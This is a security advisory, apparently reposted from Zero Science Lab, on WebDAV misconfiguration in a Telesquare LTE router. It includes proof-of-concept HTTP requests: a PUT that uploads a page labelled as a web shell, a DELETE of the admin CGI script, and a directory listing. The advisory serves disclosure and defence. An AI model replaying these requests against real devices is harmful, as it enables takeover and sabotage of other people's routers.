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Telesquare SKT LTE Router SDT-CS3B1 WebDAV HTTP Methods Arbitrary File Events

🗓️ 27 Dec 2017 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 74 Views

Telesquare SKT LTE Router SDT-CS3B1 WebDAV HTTP Methods Arbitrary File Events. WebDAV enabled with dangerous HTTP methods, allowing arbitrary content upload and file manipulation

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<html><body><p>Telesquare SKT LTE Router SDT-CS3B1 WebDAV HTTP Methods Arbitrary File Events


Vendor: Telesquare Co., Ltd.
Product web page: http://www.telesquare.co.kr
Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
                  LteVer: ML300S5XEA41_090  1 0.1.0
                  Modem model: PM-L300S

Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
LTE wireless communication based LTE router product.

Desc: WebDAV is enabled with directory listing and dangerous HTTP
methods allowed: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH,
LOCK and UNLOCK. The HTTP PUT method is normally used to upload data
that is saved on the server at a user-supplied URL. An attacker can
place arbitrary, and potentially malicious, content into the application.
Depending on the server's configuration, this may lead to compromise
of the server (by uploading server-executable code), or other attacks.
The other methods can be used to delete/move/overwrite/create files
and cause denial of service scenarios and/or phishing attacks.

Tested on: lighttpd/1.4.20
           Linux/mips


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5446
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5446.php


22.12.2017

--


---
PUT /ssi.shtml HTTP/1.1
User-Agent: ZSL_WebDAV_client/1.0
Connection: TE
TE: trailers
Host: 10.0.0.17:8081
Content-Length: 29
Content-Type: text/html

</p><title>ZSL_SSI_wSHELL</title>


---
DELETE /cgi-bin/admin.cgi HTTP/1.1
User-Agent: ZSL_WebDAV_client/1.0
Connection: TE
TE: trailers
Host: 10.0.0.17:8081


---
WebDAV Enabled
Directory listing of /:

|   WebDAV type: Unkown
|   Directory Listing: 
|     http://10.0.0.17/
|     http://10.0.0.17/admin
|     http://10.0.0.17/webdav
|     http://10.0.0.17/login.shtml
|     http://10.0.0.17/firewall
|     http://10.0.0.17/traffic
|     http://10.0.0.17/js
|     http://10.0.0.17/serial
|     http://10.0.0.17/nas
|     http://10.0.0.17/leftMenu.html
|     http://10.0.0.17/internet
|     http://10.0.0.17/home.shtml
|     http://10.0.0.17/images
|     http://10.0.0.17/wifi2g
|     http://10.0.0.17/css
|     http://10.0.0.17/cgi-bin
|     http://10.0.0.17/amtlsq
|     http://10.0.0.17/top.shtml
|     http://10.0.0.17/modem
|     http://10.0.0.17/wifi5g
|     http://10.0.0.17/index.html
|     http://10.0.0.17/lte
|     http://10.0.0.17/m2mp
|     http://10.0.0.17/serialmodem
</body></html>

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